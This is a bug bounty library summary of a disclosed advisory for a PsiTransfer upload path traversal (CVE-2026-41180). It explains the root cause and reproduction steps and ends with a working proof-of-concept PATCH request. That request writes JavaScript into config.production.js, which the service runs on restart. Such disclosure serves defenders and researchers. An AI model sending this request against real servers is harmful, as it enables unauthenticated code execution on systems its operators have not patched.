# PsiTransfer: Upload PATCH path traversal can create `config.<NODE_ENV>.js` and lead to code execution on restart

PsiTransfer's upload PATCH validates encoded req.path but tus writes decoded uploadId, letting unauthenticated attackers write config.<NODE_ENV>.js outside the upload dir and gain RCE on restart.

- Payout: Research
- Severity: high
- Program: PsiTransfer
- Found by: pyuysig
- Disclosed: 2026-04-16
- CVE: CVE-2026-41180
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-533q-w4g6-5586
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-533q-w4g6-5586
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:path-traversal vuln:rce

**Target:** Node.js file upload service (tus PATCH /files/:uploadId)
**Root cause:** Outer middleware checks the still-encoded req.path while the tus handler uses the decoded req.params.uploadId; Store.getFilename only does a startsWith(uploadDir) string-prefix check, so '../config.production.js' resolves outside the jail but still passes the prefix test when uploadDir basename prefixes the target.
**Steps:**
1. Start PsiTransfer 2.4.1 with NODE_ENV=production and PSITRANSFER_UPLOAD_DIR=/opt/psitransfer/conf.
2. Send `PATCH /files/..%2Fconfig.production.js` with headers `Tus-Resumable: 1.0.0`, `Upload-Offset: 0`, `Content-Type: application/offset+octet-stream` and body `module.exports = {}; require('fs').writeFileSync('/tmp/psitransfer-rce-proof', 'owned');`.
3. Observe 404 response but /opt/psitransfer/config.production.js created with attacker payload.
4. Restart the process; config.js requires config.${NODE_ENV}.js and executes it.
5. Observe /tmp/psitransfer-rce-proof created, confirming RCE.
**How found:** Noticed the outer middleware derives fid from encoded req.path while tus route uses decoded req.params.uploadId; then traced Store.getFilename's startsWith(uploadDir) check and realized a sibling path sharing the uploadDir basename prefix passes. Also spotted the broken `if(! e instanceof httpErrors.NotFound)` catch and that store.append creates the write stream before the sidecar check, so the file lands even on 404.
**Exploitation:** Unauthenticated single PATCH request writes arbitrary JS to config.<NODE_ENV>.js in app root; executed on next process restart under the service account.
**Escalation:** Path traversal write outside upload dir chained with startup config require() to escalate file write to code execution.
**Insight:** When a framework decodes params after an outer middleware inspects the raw path, look for parser-differential traversal; also audit startsWith() path jails for sibling-prefix bypass (uploadDir 'conf' accepts 'config.js'), and check whether write streams are opened before existence checks so failed requests still write files.

## Proof of concept (copied exactly from the original report)

**PATCH request writing config.production.js via traversal**

```
PATCH /files/..%2Fconfig.production.js HTTP/1.1
Host: target
Tus-Resumable: 1.0.0
Upload-Offset: 0
Content-Type: application/offset+octet-stream

module.exports = {}; require('fs').writeFileSync('/tmp/psitransfer-rce-proof', 'owned');
```

